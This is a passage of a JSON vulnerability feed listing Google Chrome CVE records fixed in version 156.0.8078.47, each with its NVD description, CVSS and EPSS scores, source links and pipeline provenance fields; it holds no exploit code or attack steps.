references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113235","cveId":"CVE-2026-113235","aliases":[],"kind":"vulnerability","title":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.867Z","updatedAt":"2026-10-22T23:18:28.350Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113235","asOf":"2026-10-22T23:18:28.350Z"},"epss":{"probability":0.00495,"percentile":0.42168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113235","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113235","type":"primary","publishedAt":"2026-10-20T22:19:16.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113222","cveId":"CVE-2026-113222","aliases":[],"kind":"vulnerability","title":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.437Z","updatedAt":"2026-10-22T23:18:28.197Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113222","asOf":"2026-10-22T23:18:28.197Z"},"epss":{"probability":0.00466,"percentile":0.40049,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113222","type":"primary","publishedAt":"2026-10-20T22:19:15.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113211","cveId":"CVE-2026-113211","aliases":[],"kind":"vulnerability","title":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.220Z","updatedAt":"2026-10-22T23:18:28.050Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113211","asOf":"2026-10-22T23:18:28.050Z"},"epss":{"probability":0.00451,"percentile":0.38887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113211&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113211","type":"primary","publishedAt":"2026-10-20T22:19:14.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113211&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113211, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113189","cveId":"CVE-2026-113189","aliases":[],"kind":"vulnerability","title":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.763Z","updatedAt":"2026-10-22T23:18:27.893Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113189","asOf":"2026-10-22T23:18:27.893Z"},"epss":{"probability":0.00475,"percentile":0.40772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113189","type":"primary","publishedAt":"2026-10-20T22:19:11.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113186","cveId":"CVE-2026-113186","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:11.420Z","updatedAt":"2026-10-22T23:18:27.743Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113186","asOf":"2026-10-22T23:18:27.743Z"},"epss":{"probability":0.00475,"percentile":0.40772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113186","type":"primary","publishedAt":"2026-10-20T22:19:11.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113171","cveId":"CVE-2026-113171","aliases":[],"kind":"vulnerability","title":"Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a...","summary":"Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Prompts in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.780Z","updatedAt":"2026-10-22T23:18:27.573Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113171","asOf":"2026-10-22T23:18:27.573Z"},"epss":{"probability":0.00466,"percentile":0.40048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113171&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113171","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113171","type":"primary","publishedAt":"2026-10-20T22:19:09.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113171&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113171, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113169","cveId":"CVE-2026-113169","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted...","summary":"Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:09.557Z","updatedAt":"2026-10-22T23:18:27.417Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113169","asOf":"2026-10-22T23:18:27.417Z"},"epss":{"probability":0.00466,"percentile":0.40047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113169","type":"primary","publishedAt":"2026-10-20T22:19:09.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113138","cveId":"CVE-2026-113138","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:06.090Z","updatedAt":"2026-10-22T23:18:26.800Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113138","asOf":"2026-10-22T23:18:26.800Z"},"epss":{"probability":0.00466,"percentile":0.40048,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113138","type":"primary","publishedAt":"2026-10-20T22:19:06.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113126","cveId":"CVE-2026-113126","aliases":[],"kind":"vulnerability","title":"Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...","summary":"Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in PolicyContainer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:04.770Z","updatedAt":"2026-10-22T23:18:26.623Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113126","asOf":"2026-10-22T23:18:26.623Z"},"epss":{"probability":0.00466,"percentile":0.40047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113126","type":"primary","publishedAt":"2026-10-20T22:19:04.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113116","cveId":"CVE-2026-113116","aliases":[],"kind":"vulnerability","title":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.","summary":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:03.643Z","updatedAt":"2026-10-22T23:18:26.313Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113116","asOf":"2026-10-22T23:18:26.313Z"},"epss":{"probability":0.00466,"percentile":0.40047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113116","type":"primary","publishedAt":"2026-10-20T22:19:03.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113089","cveId":"CVE-2026-113089","aliases":[],"kind":"vulnerability","title":"Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...","summary":"Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 